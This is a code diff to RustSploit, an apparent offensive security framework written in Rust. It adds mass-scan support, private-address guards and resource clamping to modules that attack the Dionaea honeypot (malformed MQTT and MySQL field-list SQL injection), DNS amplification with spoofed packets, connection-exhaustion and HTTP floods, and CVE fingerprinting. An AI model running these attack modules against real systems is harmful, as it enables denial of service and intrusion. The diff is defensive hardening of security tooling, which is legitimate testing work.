crate::mprintln!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
|
||||
scan_batch(targets, config, semaphore).await;
|
||||
} else {
|
||||
let (tx, mut rx) = tokio::sync::mpsc::channel::<Vec<String>>(2);
|
||||
let read_path = batch_file.to_string();
|
||||
let reader_handle = tokio::task::spawn_blocking(move || -> anyhow::Result<usize> {
|
||||
crate::utils::load_lines_batched(&read_path, BATCH_SIZE, |raw_batch| {
|
||||
let cleaned: Vec<String> = raw_batch.into_iter()
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect();
|
||||
if !cleaned.is_empty() {
|
||||
let _ = tx.blocking_send(cleaned);
|
||||
}
|
||||
})
|
||||
});
|
||||
|
||||
let mut batch_idx = 0usize;
|
||||
let mut total_targets = 0usize;
|
||||
while let Some(batch) = rx.recv().await {
|
||||
batch_idx += 1;
|
||||
total_targets += batch.len();
|
||||
crate::mprintln!("{}", format!("[*] Batch {}: {} targets", batch_idx, batch.len()).cyan());
|
||||
scan_batch(batch, config, semaphore.clone()).await;
|
||||
}
|
||||
|
||||
match reader_handle.await {
|
||||
Ok(Ok(_)) => {
|
||||
crate::mprintln!("{}", format!("[*] Streamed {} total targets across {} batch(es)", total_targets, batch_idx).dimmed());
|
||||
}
|
||||
Ok(Err(e)) => crate::meprintln!("[!] Batch file read error: {}", e),
|
||||
Err(e) => crate::meprintln!("[!] Batch reader task panicked: {}", e),
|
||||
}
|
||||
|
||||
if total_targets == 0 {
|
||||
bail!("No valid targets found in batch file");
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", "\n[*] Batch scan complete".green().bold());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -82,12 +82,15 @@ async fn recv_bytes(stream: &mut TcpStream, n: usize, timeout_secs: u64) -> Vec<
|
||||
|
||||
async fn try_connect_mqtt(host: &str, port: u16) -> bool {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let mut stream = match tokio::time::timeout(
|
||||
let mut stream = match crate::utils::network::tcp_connect_str(
|
||||
&addr,
|
||||
Duration::from_secs(3),
|
||||
TcpStream::connect(&addr),
|
||||
).await {
|
||||
Ok(Ok(s)) => s,
|
||||
_ => return false,
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
tracing::debug!(target = %addr, "dionaea MQTT TCP connect failed: {}", e);
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
if stream.write_all(MQTT_CONNECT).await.is_err() { return false; }
|
||||
@@ -96,10 +99,28 @@ async fn try_connect_mqtt(host: &str, port: u16) -> bool {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if crate::utils::is_mass_scan_target(target) {
|
||||
return crate::utils::run_mass_scan(
|
||||
target,
|
||||
crate::utils::MassScanConfig {
|
||||
protocol_name: "MQTT",
|
||||
default_port: 1883,
|
||||
state_file: "dionaea_mqtt_mass_state.log",
|
||||
default_output: "dionaea_mqtt_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
|ip, port| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
if !crate::utils::is_batch_mode() {
|
||||
if !crate::utils::is_batch_mode() {
|
||||
print_banner();
|
||||
}
|
||||
print_banner();
|
||||
}
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
@@ -122,12 +143,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", format!(" PUBLISH bytes: {}", hex_str(MQTT_MALFORMED_PUBLISH)).dimmed());
|
||||
crate::mprintln!("{}", " TopicLength=0xFF (255) > MessageLength-2=3 → length_from = -252".dimmed());
|
||||
|
||||
let mut stream = tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
TcpStream::connect(&addr),
|
||||
).await
|
||||
.context("connect timeout")?
|
||||
.with_context(|| format!("TCP connect to {} failed", addr))?;
|
||||
let mut stream = crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(5))
|
||||
.await
|
||||
.with_context(|| format!("TCP connect to {} failed", addr))?;
|
||||
|
||||
stream.write_all(MQTT_CONNECT).await.context("Write CONNECT failed")?;
|
||||
let ack = recv_bytes(&mut stream, 4, 2).await;
|
||||
|
||||
@@ -113,26 +113,61 @@ async fn recv_tds_packet(stream: &mut TcpStream, timeout_secs: u64) -> Vec<u8> {
|
||||
|
||||
async fn probe_alive(host: &str, port: u16) -> bool {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
match tokio::time::timeout(Duration::from_secs(2), TcpStream::connect(&addr)).await {
|
||||
Ok(Ok(mut s)) => {
|
||||
match crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(2)).await {
|
||||
Ok(mut s) => {
|
||||
let mut buf = [0u8; 256];
|
||||
tokio::time::timeout(
|
||||
Duration::from_secs(2),
|
||||
s.read(&mut buf),
|
||||
).await.map(|r| r.map(|n| n > 0).unwrap_or(false)).unwrap_or(false)
|
||||
match tokio::time::timeout(Duration::from_secs(2), s.read(&mut buf)).await {
|
||||
Ok(Ok(n)) => n > 0,
|
||||
Ok(Err(e)) => {
|
||||
tracing::debug!(target = %addr, "MSSQL banner read failed: {}", e);
|
||||
false
|
||||
}
|
||||
Err(_elapsed) => {
|
||||
tracing::debug!(target = %addr, "MSSQL banner read timed out");
|
||||
false
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::debug!(target = %addr, "MSSQL probe connect failed: {}", e);
|
||||
false
|
||||
}
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if crate::utils::is_mass_scan_target(target) {
|
||||
return crate::utils::run_mass_scan(
|
||||
target,
|
||||
crate::utils::MassScanConfig {
|
||||
protocol_name: "MSSQL",
|
||||
default_port: 1433,
|
||||
state_file: "dionaea_mssql_mass_state.log",
|
||||
default_output: "dionaea_mssql_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
|ip, port| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
if !crate::utils::is_batch_mode() {
|
||||
if !crate::utils::is_batch_mode() {
|
||||
print_banner();
|
||||
}
|
||||
print_banner();
|
||||
}
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
// SSRF guard: refuse DoS against private/loopback/metadata addresses.
|
||||
if crate::api::is_blocked_target(&normalized) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", normalized).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let port = cfg_prompt_port("port", "Dionaea MSSQL port", DEFAULT_PORT).await?;
|
||||
let addr = format!("{}:{}", normalized, port);
|
||||
|
||||
@@ -140,12 +175,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Step 1: Connect and receive server greeting
|
||||
crate::mprintln!("{}", "[*] Step 1: connect and receive server greeting".cyan());
|
||||
let mut stream = tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
TcpStream::connect(&addr),
|
||||
).await
|
||||
.context("connect timeout")?
|
||||
.with_context(|| format!("TCP connect to {} failed", addr))?;
|
||||
let mut stream = crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(5))
|
||||
.await
|
||||
.with_context(|| format!("TCP connect to {} failed", addr))?;
|
||||
|
||||
let greeting = recv_tds_packet(&mut stream, 3).await;
|
||||
if !greeting.is_empty() {
|
||||
|
||||
@@ -47,6 +47,11 @@ pub fn info() -> ModuleInfo {
|
||||
}
|
||||
}
|
||||
|
||||
// Anything past this is well beyond what handshake / auth / error packets
|
||||
// carry — even big result rows from the dionaea honeypot stay tiny. The
|
||||
// peer is fully attacker-controlled so we hard-cap allocation here.
|
||||
const MAX_MYSQL_PKT: usize = 1 * 1024 * 1024;
|
||||
|
||||
async fn recv_packet(stream: &mut TcpStream, timeout_secs: u64) -> Vec<u8> {
|
||||
// MySQL wire protocol: 3-byte length (LE) + 1-byte sequence number
|
||||
let mut hdr = [0u8; 4];
|
||||
@@ -62,6 +67,7 @@ async fn recv_packet(stream: &mut TcpStream, timeout_secs: u64) -> Vec<u8> {
|
||||
}).await;
|
||||
if received < 4 { return vec![]; }
|
||||
let pkt_len = u32::from_le_bytes([hdr[0], hdr[1], hdr[2], 0]) as usize;
|
||||
if pkt_len > MAX_MYSQL_PKT { return vec![]; }
|
||||
let mut body = vec![0u8; pkt_len];
|
||||
let mut body_received = 0;
|
||||
let _ = tokio::time::timeout(Duration::from_secs(timeout_secs), async {
|
||||
@@ -176,10 +182,28 @@ fn decode_field_packets(packets: &[Vec<u8>]) -> Vec<String> {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if crate::utils::is_mass_scan_target(target) {
|
||||
return crate::utils::run_mass_scan(
|
||||
target,
|
||||
crate::utils::MassScanConfig {
|
||||
protocol_name: "MySQL",
|
||||
default_port: 3306,
|
||||
state_file: "dionaea_mysql_mass_state.log",
|
||||
default_output: "dionaea_mysql_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
|ip, port| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
if !crate::utils::is_batch_mode() {
|
||||
if !crate::utils::is_batch_mode() {
|
||||
print_banner();
|
||||
}
|
||||
print_banner();
|
||||
}
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
@@ -192,12 +216,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let benign_table = "threat";
|
||||
crate::mprintln!("{}", format!("[*] Step 1: benign COM_FIELD_LIST for table={:?}", benign_table).cyan());
|
||||
|
||||
let mut s1 = tokio::time::timeout(
|
||||
Duration::from_secs(10),
|
||||
TcpStream::connect(&addr),
|
||||
).await
|
||||
.context("connect timeout")?
|
||||
.with_context(|| format!("TCP connect to {} failed", addr))?;
|
||||
let mut s1 = crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(10))
|
||||
.await
|
||||
.with_context(|| format!("TCP connect to {} failed", addr))?;
|
||||
|
||||
let seq1 = mysql_handshake(&mut s1).await.context("Handshake failed")?;
|
||||
let pkts1 = send_com_field_list(&mut s1, seq1, benign_table).await;
|
||||
@@ -213,12 +234,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", format!("[*] Step 2: injected COM_FIELD_LIST with table={:?}", injected_table).cyan());
|
||||
crate::mprintln!("{}", format!(" Resulting SQLite query: PRAGMA table_info({});", injected_table.trim()).dimmed());
|
||||
|
||||
let mut s2 = tokio::time::timeout(
|
||||
Duration::from_secs(10),
|
||||
TcpStream::connect(&addr),
|
||||
).await
|
||||
.context("connect timeout")?
|
||||
.with_context(|| format!("TCP connect to {} failed", addr))?;
|
||||
let mut s2 = crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(10))
|
||||
.await
|
||||
.with_context(|| format!("TCP connect to {} failed", addr))?;
|
||||
|
||||
let seq2 = mysql_handshake(&mut s2).await.context("Handshake failed")?;
|
||||
let pkts2 = send_com_field_list(&mut s2, seq2, injected_table).await;
|
||||
|
||||
@@ -84,10 +84,40 @@ fn opcode_name(resp: &[u8]) -> String {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if crate::utils::is_mass_scan_target(target) {
|
||||
return crate::utils::run_mass_scan(
|
||||
target,
|
||||
crate::utils::MassScanConfig {
|
||||
protocol_name: "TFTP",
|
||||
default_port: 69,
|
||||
state_file: "dionaea_tftp_mass_state.log",
|
||||
default_output: "dionaea_tftp_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
|ip, port| async move {
|
||||
// TFTP is UDP — port_open won't work, but a UDP send with no response
|
||||
// is still informative. We send a Read Request and consider any
|
||||
// reply as evidence the service exists.
|
||||
let sock = match crate::utils::udp_bind(Some(std::net::IpAddr::V4(std::net::Ipv4Addr::new(127,0,0,1)))).await {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let rrq = b"\x00\x01rustsploit\x00octet\x00";
|
||||
if sock.send_to(rrq, &addr).await.is_err() {
|
||||
return None;
|
||||
}
|
||||
let mut buf = [0u8; 64];
|
||||
match tokio::time::timeout(std::time::Duration::from_secs(2), sock.recv_from(&mut buf)).await {
|
||||
Ok(Ok((n, _))) if n > 0 => Some(format!("{}:{} TFTP responded\n", ip, port)),
|
||||
_ => None,
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
if !crate::utils::is_batch_mode() {
|
||||
if !crate::utils::is_batch_mode() {
|
||||
print_banner();
|
||||
}
|
||||
print_banner();
|
||||
}
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
//! CVE-2025-59789 — Apache bRPC <1.15.0 Stack Overflow via Deep Recursive JSON
|
||||
//! ============================================================================
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
const DEFAULT_PORT: u16 = 8002;
|
||||
const TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "Apache bRPC <1.15.0 Stack Overflow DoS (CVE-2025-59789)".to_string(),
|
||||
description: "Detects Apache bRPC ports; deeply recursive JSON crashes the server.\n\
|
||||
Reports exposure only — does not generate the crash payload.".to_string(),
|
||||
authors: vec!["indoushka".to_string(), "RustSploit Team".to_string()],
|
||||
references: vec![
|
||||
"CVE-2025-59789".to_string(),
|
||||
"https://packetstorm.news/files/id/212248/".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2025-09-05".to_string()),
|
||||
rank: ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
let client = match crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS)) {
|
||||
Ok(c) => c,
|
||||
Err(e) => return CheckResult::Error(e.to_string()),
|
||||
};
|
||||
let url = format!("http://{}/status", target.trim_end_matches('/'));
|
||||
match client.get(&url).send().await {
|
||||
Ok(r) => {
|
||||
let body = match r.text().await {
|
||||
Ok(b) => b,
|
||||
Err(e) => return CheckResult::Error(format!("body decode: {}", e)),
|
||||
};
|
||||
if body.contains("brpc_revision") || body.contains("brpc-version") {
|
||||
return CheckResult::Vulnerable("bRPC server fingerprint matched".to_string());
|
||||
}
|
||||
}
|
||||
Err(e) => return CheckResult::Error(format!("request failed: {}", e)),
|
||||
}
|
||||
CheckResult::NotVulnerable("bRPC fingerprint missing".to_string())
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "Apache-bRPC-CVE-2025-59789",
|
||||
default_port: DEFAULT_PORT,
|
||||
state_file: "apache_brpc_mass_state.log",
|
||||
default_output: "apache_brpc_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip, port| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else { None }
|
||||
}).await;
|
||||
}
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
// SSRF guard: refuse probes against private/loopback/metadata addresses.
|
||||
if crate::api::is_blocked_target(&normalized) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", normalized).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let port = cfg_prompt_port("port", "bRPC port", DEFAULT_PORT).await?;
|
||||
let scheme = cfg_prompt_default("scheme", "Scheme (http)", "http").await?;
|
||||
let url = format!("{}://{}:{}/status", scheme, normalized, port);
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS))
|
||||
.context("HTTP client")?;
|
||||
let (_, body) = crate::utils::http_get_status_body(&client, &(&url)).await?;
|
||||
if body.contains("brpc_revision") || body.contains("brpc-version") {
|
||||
crate::mprintln!("{}", "[+] bRPC fingerprint matched.".green());
|
||||
crate::workspace::track_host(&normalized, None, Some("Apache bRPC")).await;
|
||||
} else {
|
||||
crate::mprintln!("{}", "[-] bRPC fingerprint missing.".red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -42,6 +42,10 @@ struct StressConfig {
|
||||
/// Entry point for the module
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(initial_target) {
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
return run_mass_scan(initial_target, MassScanConfig {
|
||||
protocol_name: "Connection Exhaustion Flood",
|
||||
default_port: 80,
|
||||
@@ -98,6 +102,10 @@ async fn setup_wizard(initial_target: &str) -> Result<StressConfig> {
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
// Extract host and port
|
||||
let (host, port) = if let Some((h, p)) = normalized.split_once(':') {
|
||||
let parsed_port = p.parse::<u16>()
|
||||
@@ -267,6 +275,27 @@ async fn execute_stress(config: &StressConfig) -> Result<()> {
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
|
||||
// P2: this module already uses a semaphore to bound max concurrent FDs,
|
||||
// but `max_concurrent_fds` is operator-supplied — a typo (e.g. 100000)
|
||||
// would still trip RLIMIT_NOFILE before the semaphore matters. Raise
|
||||
// limits and clamp before we spawn workers.
|
||||
let mut config = config.clone();
|
||||
let (cap_fds, _) = crate::native::network::ensure_dos_capacity(
|
||||
"connection_exhaustion_flood",
|
||||
config.max_concurrent_fds,
|
||||
1,
|
||||
);
|
||||
config.max_concurrent_fds = cap_fds;
|
||||
let (cap_workers, _) = crate::native::network::ensure_dos_capacity(
|
||||
"connection_exhaustion_flood",
|
||||
config.worker_count,
|
||||
0, // workers don't each own a long-lived FD; only the semaphore pool does.
|
||||
);
|
||||
// ensure_dos_capacity treats fds_per_worker.max(1), so cap_workers is
|
||||
// bounded by NPROC headroom — exactly what we want for the worker pool.
|
||||
config.worker_count = cap_workers;
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] FD Semaphore limit: {}", config.max_concurrent_fds)
|
||||
|
||||
@@ -15,6 +15,7 @@ use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
|
||||
use crate::native::network::{make_dst_sockaddr, send_one_raw};
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -324,37 +325,11 @@ fn create_raw_socket() -> Result<Socket> {
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
let _ = socket.set_send_buffer_size(SEND_BUFFER_SIZE);
|
||||
crate::native::network::apply_raw_send_timeout(&socket);
|
||||
|
||||
Ok(socket)
|
||||
}
|
||||
|
||||
fn make_dst_sockaddr(ip: Ipv4Addr) -> libc::sockaddr_in {
|
||||
let mut addr: libc::sockaddr_in = unsafe { std::mem::zeroed() };
|
||||
addr.sin_family = libc::AF_INET as libc::sa_family_t;
|
||||
addr.sin_addr = libc::in_addr {
|
||||
s_addr: u32::from_ne_bytes(ip.octets()),
|
||||
};
|
||||
addr
|
||||
}
|
||||
|
||||
fn send_one_raw(fd: i32, buf: &[u8], dst: &libc::sockaddr_in) -> std::io::Result<usize> {
|
||||
let ret = unsafe {
|
||||
libc::sendto(
|
||||
fd,
|
||||
buf.as_ptr() as *const libc::c_void,
|
||||
buf.len(),
|
||||
0,
|
||||
dst as *const _ as *const libc::sockaddr,
|
||||
std::mem::size_of::<libc::sockaddr_in>() as libc::socklen_t,
|
||||
)
|
||||
};
|
||||
if ret < 0 {
|
||||
Err(std::io::Error::last_os_error())
|
||||
} else {
|
||||
Ok(ret as usize)
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// WORKER THREAD
|
||||
// ============================================================================
|
||||
@@ -518,6 +493,10 @@ fn parse_resolver_list(input: &str) -> Result<Vec<Ipv4Addr>> {
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
crate::utils::require_root("dns_amplification (raw socket for spoofed source)")?;
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
if is_mass_scan_target(initial_target) {
|
||||
return run_mass_scan(initial_target, MassScanConfig {
|
||||
protocol_name: "DNS Amplification",
|
||||
@@ -563,6 +542,11 @@ async fn gather_config(initial_target: &str) -> Result<DnsAmpConfig> {
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
let victim_ip: Ipv4Addr = normalized.parse()
|
||||
.map_err(|_| anyhow!("Victim must be a valid IPv4 address"))?;
|
||||
|
||||
@@ -647,9 +631,19 @@ async fn gather_config(initial_target: &str) -> Result<DnsAmpConfig> {
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_attack(config: DnsAmpConfig) -> Result<()> {
|
||||
async fn execute_attack(mut config: DnsAmpConfig) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "[*] Starting DNS Amplification Attack...".yellow().bold());
|
||||
|
||||
// P2: clamp worker count / raise RLIMIT_NOFILE so we can't exhaust the
|
||||
// operator's own host. Sockets are pooled (1 fd per worker pool slot),
|
||||
// but every worker is its own OS thread so RLIMIT_NPROC also matters.
|
||||
let (clamped, _) = crate::native::network::ensure_dos_capacity(
|
||||
"dns_amplification",
|
||||
config.worker_count,
|
||||
1,
|
||||
);
|
||||
config.worker_count = clamped;
|
||||
|
||||
// Create shared socket pool
|
||||
let num_sockets = config.worker_count
|
||||
.min(num_cpus::get().max(1) * 2)
|
||||
|
||||
@@ -0,0 +1,118 @@
|
||||
//! CVE-2023-44487 — HTTP/2 Rapid Reset DoS Probe
|
||||
//! ==============================================
|
||||
//!
|
||||
//! Probes a target's HTTP/2 stack for the Rapid Reset DoS condition by
|
||||
//! attempting an h2 prior-knowledge connection and detecting whether the
|
||||
//! server announces HTTP/2 support. Does NOT generate the abuse traffic.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module_info::{CheckResult, ModuleInfo, ModuleRank};
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
const DEFAULT_PORT: u16 = 443;
|
||||
const TIMEOUT_SECS: u64 = 8;
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "HTTP/2 Rapid Reset DoS Probe (CVE-2023-44487)".to_string(),
|
||||
description: "Probes the target for HTTP/2 Rapid Reset DoS exposure by detecting\n\
|
||||
whether the endpoint negotiates h2 / h2c. Reports exposure only;\n\
|
||||
does not exercise the DoS."
|
||||
.to_string(),
|
||||
authors: vec!["indoushka".to_string(), "RustSploit Team".to_string()],
|
||||
references: vec![
|
||||
"CVE-2023-44487".to_string(),
|
||||
"https://packetstorm.news/files/id/211124/".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2023-10-10".to_string()),
|
||||
rank: ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
/// Returns `true` when the negotiated HTTP version is HTTP/2 (the only
|
||||
/// version the Rapid Reset DoS applies to). Uses pattern matching against
|
||||
/// the `reqwest::Version` constants — no `format!("{:?}")` debug-string
|
||||
/// comparison.
|
||||
fn is_http2(v: reqwest::Version) -> bool {
|
||||
v == reqwest::Version::HTTP_2
|
||||
}
|
||||
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
let client = match crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS)) {
|
||||
Ok(c) => c,
|
||||
Err(e) => return CheckResult::Error(format!("HTTP client: {}", e)),
|
||||
};
|
||||
let url = format!("https://{}/", target.trim_end_matches('/'));
|
||||
match client.get(&url).send().await {
|
||||
Ok(r) => {
|
||||
let v = r.version();
|
||||
if is_http2(v) {
|
||||
CheckResult::Vulnerable(format!(
|
||||
"Server speaks {:?} — Rapid Reset exposure if unpatched",
|
||||
v
|
||||
))
|
||||
} else {
|
||||
CheckResult::NotVulnerable(format!("HTTP version {:?}", v))
|
||||
}
|
||||
}
|
||||
Err(e) => CheckResult::Error(format!("request failed: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "HTTP2-RapidReset",
|
||||
default_port: DEFAULT_PORT,
|
||||
state_file: "http2_rapidreset_mass_state.log",
|
||||
default_output: "http2_rapidreset_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
|ip, port| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
// SSRF guard: refuse probes against private/loopback/metadata addresses.
|
||||
if crate::api::is_blocked_target(&normalized) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", normalized).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let port = cfg_prompt_port("port", "HTTPS port", DEFAULT_PORT).await?;
|
||||
let scheme = cfg_prompt_default("scheme", "Scheme (https/http)", "https").await?;
|
||||
let url = format!("{}://{}:{}/", scheme, normalized, port);
|
||||
crate::mprintln!("{} {}", "[*] GET".cyan(), url);
|
||||
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS))
|
||||
.context("HTTP client")?;
|
||||
let r = client
|
||||
.get(&url)
|
||||
.send()
|
||||
.await
|
||||
.with_context(|| format!("probe {}", url))?;
|
||||
let v = r.version();
|
||||
crate::mprintln!("{} {:?}", "[*] Negotiated HTTP version:".cyan(), v);
|
||||
if is_http2(v) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[+] Target speaks HTTP/2 — verify server software is patched against CVE-2023-44487."
|
||||
.yellow()
|
||||
);
|
||||
crate::workspace::track_host(&normalized, None, Some("HTTP/2 endpoint")).await;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -108,6 +108,10 @@ enum HttpMethod {
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(initial_target) {
|
||||
if crate::api::is_blocked_target(initial_target) {
|
||||
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
|
||||
return Ok(());
|
||||
}
|
||||
return run_mass_scan(initial_target, MassScanConfig {
|
||||
protocol_name: "HTTP Flood",
|
||||
default_port: 80,
|
||||
@@ -152,6 +156,10 @@ async fn gather_config(initial_target: &str) -> Result<HttpStressConfig> {
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// P1-4: refuse (or force explicit authorization for) DoS against
|
||||
// private / loopback / cloud-metadata addresses.
|
||||
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
|
||||
|
||||
// Extract host (strip port if present)
|
||||
let target_host = if let Some((h, _)) = normalized.split_once(':') {
|
||||
h.to_string()
|
||||
@@ -175,6 +183,9 @@ async fn gather_config(initial_target: &str) -> Result<HttpStressConfig> {
|
||||
if concurrency == 0 {
|
||||
return Err(anyhow!("Concurrency must be > 0"));
|
||||
}
|
||||
// Worker-count clamping is handled in execute_attack by
|
||||
// crate::native::network::ensure_dos_capacity, which raises
|
||||
// RLIMIT_NOFILE/NPROC in-process and clamps to the post-raise ceiling.
|
||||
|
||||
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (HTTPS)?", false).await?;
|
||||
let keepalive = cfg_prompt_yes_no("keepalive", "Use HTTP Keep-Alive?", true).await?;
|
||||
@@ -222,9 +233,20 @@ async fn gather_config(initial_target: &str) -> Result<HttpStressConfig> {
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_attack(config: HttpStressConfig) -> Result<()> {
|
||||
async fn execute_attack(mut config: HttpStressConfig) -> Result<()> {
|
||||
